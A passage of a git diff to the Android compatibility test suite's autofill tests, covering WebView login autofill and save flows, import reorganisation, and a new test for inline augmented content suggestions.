+                .setField(HTML_NAME_USERNAME, "dude")
+                .setField(HTML_NAME_PASSWORD, "sweet")
+                .setPresentation(createPresentation("The Dude"))
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+
+        // Change focus around.
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+        mActivity.getUsernameLabel().click();
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        mUiBot.assertNoDatasets();
+        mActivity.getPasswordInput().click();
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("The Dude");
+
+        // Now Autofill it.
+        mUiBot.selectDataset(datasetPicker, "The Dude");
+        myWebView.assertAutofilled();
+        mUiBot.assertNoDatasets();
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+
+        // Assert structure passed to service.
+        try {
+            final ViewNode webViewNode =
+                    Helper.findWebViewNodeByFormName(fillRequest.structure, "FORM AM I");
+            assertThat(webViewNode.getClassName()).isEqualTo("android.webkit.WebView");
+            assertThat(webViewNode.getWebDomain()).isEqualTo(WebViewActivity.FAKE_DOMAIN);
+            assertThat(webViewNode.getWebScheme()).isEqualTo("https");
+
+            final ViewNode usernameNode =
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_USERNAME);
+            Helper.assertTextIsSanitized(usernameNode);
+            final HtmlInfo usernameHtmlInfo = Helper.assertHasHtmlTag(usernameNode, "input");
+            Helper.assertHasAttribute(usernameHtmlInfo, "type", "text");
+            Helper.assertHasAttribute(usernameHtmlInfo, "name", "username");
+            assertThat(usernameNode.isFocused()).isTrue();
+            assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+            assertThat(usernameNode.getHint()).isEqualTo("There's no place like a holder");
+
+            final ViewNode passwordNode =
+                    Helper.findNodeByHtmlName(fillRequest.structure, HTML_NAME_PASSWORD);
+            Helper.assertTextIsSanitized(passwordNode);
+            final HtmlInfo passwordHtmlInfo = Helper.assertHasHtmlTag(passwordNode, "input");
+            Helper.assertHasAttribute(passwordHtmlInfo, "type", "password");
+            Helper.assertHasAttribute(passwordHtmlInfo, "name", "password");
+            assertThat(passwordNode.getAutofillHints()).asList()
+                    .containsExactly("current-password");
+            assertThat(passwordNode.getHint()).isEqualTo("Holder it like it cannnot passer a word");
+            assertThat(passwordNode.isFocused()).isFalse();
+        } catch (RuntimeException | Error e) {
+            Helper.dumpStructure("failed on testAutofillOneDataset()", fillRequest.structure);
+            throw e;
+        }
+    }
+
+    @Test
+    public void testSaveOnly() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        mActivity.loadWebView(mUiBot);
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        sReplier.getNextFillRequest();
+
+        // Assert not shown.
+        mUiBot.assertNoDatasetsEver();
+
+        // Trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        } else {
+            mActivity.getUsernameInput().setText("DUDE");
+            mActivity.getPasswordInput().setText("SWEET");
+        }
+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameNode, "u");
+            Helper.assertTextAndValue(passwordNode, "p");
+        } else {
+            Helper.assertTextAndValue(usernameNode, "DUDE");
+            Helper.assertTextAndValue(passwordNode, "SWEET");
+        }
+    }
+
+    @Test
+    public void testAutofillAndSave() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load WebView
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+
+        // Set expectations.
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        myWebView.expectAutofill("dude", "sweet");
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude")
+                        .setField(HTML_NAME_PASSWORD, "sweet")
+                        .setPresentation(createPresentation("The Dude"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("The Dude");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Assert structure passed to service.
+        final ViewNode usernameNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameNode);
+        assertThat(usernameNode.isFocused()).isTrue();
+        assertThat(usernameNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordNode);
+        assertThat(passwordNode.getAutofillHints()).asList().containsExactly("current-password");
+        assertThat(passwordNode.isFocused()).isFalse();
+
+        // Autofill it.
+        mUiBot.selectDataset("The Dude");
+        myWebView.assertAutofilled();
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        } else {
+            mActivity.getUsernameInput().setText("DUDE");
+            mActivity.getPasswordInput().setText("SWEET");
+        }
+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordNode2 = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameNode2, "dudeu");
+            Helper.assertTextAndValue(passwordNode2, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameNode2, "DUDE");
+            Helper.assertTextAndValue(passwordNode2, "SWEET");
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testAutofillAndSave() is enough")
+    public void testAutofillAndSave_withExternalViews_loadWebViewFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load views
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+        mActivity.loadOutsideViews();
+
+        // Set expectations.
+        myWebView.expectAutofill("dude", "sweet");
+        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+                mActivity.mOutside1, "duder");
+        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+                mActivity.mOutside2, "sweeter");
+        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("USER");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Assert structure passed to service.
+        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameFillNode);
+        assertThat(usernameFillNode.isFocused()).isTrue();
+        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordFillNode);
+        assertThat(passwordFillNode.getAutofillHints()).asList()
+                .containsExactly("current-password");
+        assertThat(passwordFillNode.isFocused()).isFalse();
+
+        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextIsSanitized(outside1FillNode);
+        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextIsSanitized(outside2FillNode);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.clearFocus();
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        mUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        mActivity.clearFocus();
+        mActivity.getPasswordInput().click();
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        mUiBot.assertDatasets("PASS");
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        mActivity.clearFocus();
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Autofill it.
+        mUiBot.selectDataset(datasetPicker, "OUT2");
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+
+        myWebView.assertAutofilled();
+        outside1Watcher.assertAutoFilled();
+        outside2Watcher.assertAutoFilled();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        } else {
+            mActivity.getUsernameInput().setText("DUDE");
+            mActivity.getPasswordInput().setText("SWEET");
+        }
+        mActivity.runOnUiThread(() -> {
+            mActivity.mOutside1.setText("DUDER");
+            mActivity.mOutside2.setText("SWEETER");
+        });
+
+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+        }
+
+        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+    }
+
+
+    @Test
+    @Ignore("blocked on b/69461853")
+    @AppModeFull(reason = "testAutofillAndSave() is enough")
+    public void testAutofillAndSave_withExternalViews_loadExternalViewsFirst() throws Exception {
+        // Set service.
+        enableService();
+
+        // Load outside views
+        mActivity.loadOutsideViews();
+
+        // Set expectations.
+        final OneTimeTextWatcher outside1Watcher = new OneTimeTextWatcher("outside1",
+                mActivity.mOutside1, "duder");
+        final OneTimeTextWatcher outside2Watcher = new OneTimeTextWatcher("outside2",
+                mActivity.mOutside2, "sweeter");
+        mActivity.mOutside1.addTextChangedListener(outside1Watcher);
+        mActivity.mOutside2.addTextChangedListener(outside2Watcher);
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sReplier.setIdMode(IdMode.RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_OUTSIDE1, "duder", createPresentation("OUT1"))
+                        .setField(ID_OUTSIDE2, "sweeter", createPresentation("OUT2"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        final FillRequest fillRequest1 = sReplier.getNextFillRequest();
+        mUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        mUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Assert structure passed to service.
+        final ViewNode outside1FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextIsSanitized(outside1FillNode);
+        final ViewNode outside2FillNode = Helper.findNodeByResourceId(fillRequest1.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextIsSanitized(outside2FillNode);
+
+        // Now load Webiew
+        final MyWebView myWebView = mActivity.loadWebView(mUiBot);
+
+        // Set expectations
+        myWebView.expectAutofill("dude", "sweet");
+        sReplier.setIdMode(IdMode.HTML_NAME_OR_RESOURCE_ID);
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .setRequiredSavableIds(SAVE_DATA_TYPE_PASSWORD,
+                        HTML_NAME_USERNAME, HTML_NAME_PASSWORD, ID_OUTSIDE1, ID_OUTSIDE2)
+                .addDataset(new CannedDataset.Builder()
+                        .setField(HTML_NAME_USERNAME, "dude", createPresentation("USER"))
+                        .setField(HTML_NAME_PASSWORD, "sweet", createPresentation("PASS"))
+                        .build())
+                .build());
+
+        // Trigger autofill.
+        mActivity.getUsernameInput().click();
+        final FillRequest fillRequest2 = sReplier.getNextFillRequest();
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        mUiBot.assertDatasets("USER");
+        final int usernameChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        // Move focus around to make sure UI is shown accordingly
+        mActivity.runOnUiThread(() -> mActivity.mOutside1.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, usernameChildId);
+        mUiBot.assertDatasets("OUT1");
+        callback.assertUiShownEvent(mActivity.mOutside1);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(mActivity.mOutside1);
+        mUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        mActivity.getPasswordInput().click();
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        mUiBot.assertDatasets("PASS");
+        final int passwordChildId = callback.assertUiShownEventForVirtualChild(myWebView);
+
+        mActivity.runOnUiThread(() -> mActivity.mOutside2.requestFocus());
+        callback.assertUiHiddenEvent(myWebView, passwordChildId);
+        final UiObject2 datasetPicker = mUiBot.assertDatasets("OUT2");
+        callback.assertUiShownEvent(mActivity.mOutside2);
+
+        // Assert structure passed to service.
+        final ViewNode usernameFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+                HTML_NAME_USERNAME);
+        Helper.assertTextIsSanitized(usernameFillNode);
+        assertThat(usernameFillNode.isFocused()).isTrue();
+        assertThat(usernameFillNode.getAutofillHints()).asList().containsExactly("username");
+        final ViewNode passwordFillNode = Helper.findNodeByHtmlName(fillRequest2.structure,
+                HTML_NAME_PASSWORD);
+        Helper.assertTextIsSanitized(passwordFillNode);
+        assertThat(passwordFillNode.getAutofillHints()).asList()
+                .containsExactly("current-password");
+        assertThat(passwordFillNode.isFocused()).isFalse();
+
+        // Autofill external views (2nd partition)
+        mUiBot.selectDataset(datasetPicker, "OUT2");
+        callback.assertUiHiddenEvent(mActivity.mOutside2);
+        outside1Watcher.assertAutoFilled();
+        outside2Watcher.assertAutoFilled();
+
+        // Autofill Webview (1st partition)
+        mActivity.getUsernameInput().click();
+        callback.assertUiShownEventForVirtualChild(myWebView);
+        mUiBot.selectDataset("USER");
+        myWebView.assertAutofilled();
+
+        // Now trigger save.
+        if (INJECT_EVENTS) {
+            mActivity.getUsernameInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_U);
+            mActivity.getPasswordInput().click();
+            mActivity.dispatchKeyPress(KeyEvent.KEYCODE_P);
+        } else {
+            mActivity.getUsernameInput().setText("DUDE");
+            mActivity.getPasswordInput().setText("SWEET");
+        }
+        mActivity.runOnUiThread(() -> {
+            mActivity.mOutside1.setText("DUDER");
+            mActivity.mOutside2.setText("SWEETER");
+        });
+
+        mActivity.getLoginButton().click();
+
+        // Assert save UI shown.
+        mUiBot.saveForAutofill(true, SAVE_DATA_TYPE_PASSWORD);
+
+        // Assert results
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        final ViewNode usernameSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_USERNAME);
+        final ViewNode passwordSaveNode = Helper.findNodeByHtmlName(saveRequest.structure,
+                HTML_NAME_PASSWORD);
+        if (INJECT_EVENTS) {
+            Helper.assertTextAndValue(usernameSaveNode, "dudeu");
+            Helper.assertTextAndValue(passwordSaveNode, "sweetp");
+        } else {
+            Helper.assertTextAndValue(usernameSaveNode, "DUDE");
+            Helper.assertTextAndValue(passwordSaveNode, "SWEET");
+        }
+
+        final ViewNode outside1SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE1);
+        Helper.assertTextAndValue(outside1SaveNode, "DUDER");
+        final ViewNode outside2SaveNode = Helper.findNodeByResourceId(saveRequest.structure,
+                ID_OUTSIDE2);
+        Helper.assertTextAndValue(outside2SaveNode, "SWEETER");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
index 036e744..e0e7662 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/DatasetFilteringInlineTest.java
@@ -16,11 +16,12 @@
 
 package android.autofillservice.cts.inline;
 
-import static android.autofillservice.cts.Helper.getContext;
-import static android.autofillservice.cts.inline.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
+import static android.autofillservice.cts.testcore.Helper.getContext;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillServiceInlineEnabled.SERVICE_NAME;
 
-import android.autofillservice.cts.DatasetFilteringTest;
-import android.autofillservice.cts.Helper;
+import android.autofillservice.cts.commontests.DatasetFilteringTest;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.InlineUiBot;
 
 import org.junit.rules.TestRule;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
index bb81399..3bd55d5 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedAuthTest.java
@@ -18,19 +18,20 @@
 
 import static android.app.Activity.RESULT_CANCELED;
 import static android.app.Activity.RESULT_OK;
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.Helper.ID_USERNAME;
-import static android.autofillservice.cts.augmented.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
 
 import static com.google.common.truth.Truth.assertThat;
 
-import android.autofillservice.cts.AutofillActivityTestRule;
-import android.autofillservice.cts.augmented.AugmentedAuthActivity;
-import android.autofillservice.cts.augmented.AugmentedAutofillAutoActivityLaunchTestCase;
-import android.autofillservice.cts.augmented.AugmentedLoginActivity;
-import android.autofillservice.cts.augmented.CannedAugmentedFillResponse;
-import android.autofillservice.cts.augmented.CtsAugmentedAutofillService;
+import android.autofillservice.cts.activities.AugmentedAuthActivity;
+import android.autofillservice.cts.activities.AugmentedLoginActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
 import android.content.IntentSender;
+import android.platform.test.annotations.Presubmit;
 import android.service.autofill.Dataset;
 import android.view.autofill.AutofillId;
 import android.view.autofill.AutofillValue;
@@ -38,6 +39,7 @@
 
 import org.junit.Test;
 
+@Presubmit
 public class InlineAugmentedAuthTest
         extends AugmentedAutofillAutoActivityLaunchTestCase<AugmentedLoginActivity> {
 
@@ -204,5 +206,11 @@
         mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
         mUiBot.waitForIdle();
         assertThat(unField.getText().toString()).isEqualTo("");
+
+        // Return from the auth activity to login activity, if the login onResume() is prior to
+        // the test finished, there is another FillRequest() will be received. Because it may
+        // notifyViewEntered() in onResume().
+        mUiBot.assertShownByRelativeId(ID_USERNAME);
+        sAugmentedReplier.getNextFillRequest();
     }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
new file mode 100644
index 0000000..a8800c8
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/inline/InlineAugmentedContentTest.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.inline;
+
+import static android.app.Activity.RESULT_OK;
+import static android.autofillservice.cts.testcore.AugmentedHelper.assertBasicRequestInfo;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+
+import android.autofillservice.cts.activities.AugmentedAuthActivity;
+import android.autofillservice.cts.activities.AugmentedLoginActivity;
+import android.autofillservice.cts.commontests.AugmentedAutofillAutoActivityLaunchTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.CannedAugmentedFillResponse;
+import android.autofillservice.cts.testcore.CtsAugmentedAutofillService;
+import android.content.ClipData;
+import android.content.ContentResolver;
+import android.content.IntentSender;
+import android.net.Uri;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.Dataset;
+import android.view.ContentInfo;
+import android.view.OnReceiveContentListener;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.autofill.AutofillValue;
+import android.widget.EditText;
+import android.widget.TextView;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.concurrent.atomic.AtomicInteger;
+
+@Presubmit
+public class InlineAugmentedContentTest
+        extends AugmentedAutofillAutoActivityLaunchTestCase<AugmentedLoginActivity> {
+    private static final String TAG = "AutofillTest";
+
+    private static final AtomicInteger SUFFIX_COUNTER = new AtomicInteger(1);
+
+    private AugmentedLoginActivity mActivity;
+    private ContentResolver mContentResolver;
+    private MyContentReceiver mMyContentReceiver;
+
+    public InlineAugmentedContentTest() {
+        super(getInlineUiBot());
+    }
+
+    @Override
+    protected AutofillActivityTestRule<AugmentedLoginActivity> getActivityRule() {
+        return new AutofillActivityTestRule<AugmentedLoginActivity>(AugmentedLoginActivity.class) {
+            @Override
+            protected void afterActivityLaunched() {
+                mActivity = getActivity();
+            }
+        };
+    }
+
+    @Before
+    public void before() throws Exception {
+        mContentResolver = mContext.getContentResolver();
+        mMyContentReceiver = new MyContentReceiver();
+        enableService();
+        enableAugmentedService();
+        sReplier.addResponse(NO_RESPONSE);
+    }
+
+    @Test
+    public void testFillContent_text() throws Exception {
+        final String suggestion = "Sample Text";
+
+        // Set expectations
+        final EditText targetField = mActivity.getUsername();
+        targetField.setOnReceiveContentListener(MyContentReceiver.MIME_TYPES, mMyContentReceiver);
+        final AutofillId targetFieldId = targetField.getAutofillId();
+        final AutofillValue targetFieldContents = targetField.getAutofillValue();
+        sAugmentedReplier.addResponse(suggestion(targetFieldId, suggestion));
+
+        // Trigger autofill request
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        CtsAugmentedAutofillService.AugmentedFillRequest augRequest =
+                sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(augRequest, mActivity, targetFieldId, targetFieldContents);
+
+        // Confirm suggestions
+        mUiBot.assertDatasets(suggestion);
+
+        // Tap on suggestion
+        mActivity.expectAutoFill(suggestion);
+        mUiBot.selectDataset(suggestion);
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testFillContent_contentUri() throws Exception {
+        final String suggestionTitle = "Sample Image";
+        final Uri suggestionUri = sampleContentUri();
+        final String suggestionMimeType = "image/png";
+
+        // Set expectations
+        final EditText targetField = mActivity.getUsername();
+        targetField.setOnReceiveContentListener(MyContentReceiver.MIME_TYPES, mMyContentReceiver);
+        final AutofillId targetFieldId = targetField.getAutofillId();
+        final AutofillValue targetFieldContents = targetField.getAutofillValue();
+        sAugmentedReplier.addResponse(
+                suggestion(targetFieldId, suggestionTitle, suggestionUri, suggestionMimeType));
+
+        // Trigger autofill request
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        CtsAugmentedAutofillService.AugmentedFillRequest augRequest =
+                sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(augRequest, mActivity, targetFieldId, targetFieldContents);
+
+        // Confirm suggestions
+        mUiBot.assertDatasets(suggestionTitle);
+
+        // Tap on suggestion
+        mActivity.expectAutoFill(MyContentReceiver.TEXT_FILLED_FOR_URI);
+        mUiBot.selectDataset(suggestionTitle);
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+    }
+
+    @Test
+    public void testFillContent_contentUri_authFlow() throws Exception {
+        final String suggestionTitle = "Sample Image";
+        final Uri suggestionUri = sampleContentUri();
+        final String suggestionMimeType = "image/png";
+
+        // Set expectations
+        final EditText targetField = mActivity.getUsername();
+        targetField.setOnReceiveContentListener(MyContentReceiver.MIME_TYPES, mMyContentReceiver);
+        final AutofillId targetFieldId = targetField.getAutofillId();
+        final AutofillValue targetFieldContents = targetField.getAutofillValue();
+        ClipData suggestionBeforeAuth = ClipData.newPlainText(suggestionTitle, "before auth");
+        ClipData suggestionAfterAuth = new ClipData(suggestionTitle,
+                new String[]{suggestionMimeType}, new ClipData.Item(suggestionUri));
+        sAugmentedReplier.addResponse(
+                suggestionWithAuthFlow(targetFieldId, suggestionBeforeAuth, suggestionAfterAuth));
+
+        // Trigger autofill request
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+        CtsAugmentedAutofillService.AugmentedFillRequest augRequest =
+                sAugmentedReplier.getNextFillRequest();
+
+        // Assert request
+        assertBasicRequestInfo(augRequest, mActivity, targetFieldId, targetFieldContents);
+
+        // Confirm suggestions
+        mUiBot.assertDatasets(suggestionTitle);
+
+        // Tap on suggestion
+        mUiBot.selectDataset(suggestionTitle);
+        mUiBot.waitForIdle();
+
+        // Tap on the auth activity button and assert that the dataset from the auth activity is
+        // filled into the field.
+        mActivity.expectAutoFill(MyContentReceiver.TEXT_FILLED_FOR_URI);
+        mUiBot.selectByRelativeId(AugmentedAuthActivity.ID_AUTH_ACTIVITY_BUTTON);
+        mUiBot.waitForIdleSync();
+        mActivity.assertAutoFilled();
+    }
+
+    private static CannedAugmentedFillResponse suggestion(AutofillId targetFieldId,
+            String suggestion) {
+        ClipData clip = ClipData.newPlainText(suggestion, suggestion);
+        return suggestion(targetFieldId, clip);
+    }
+
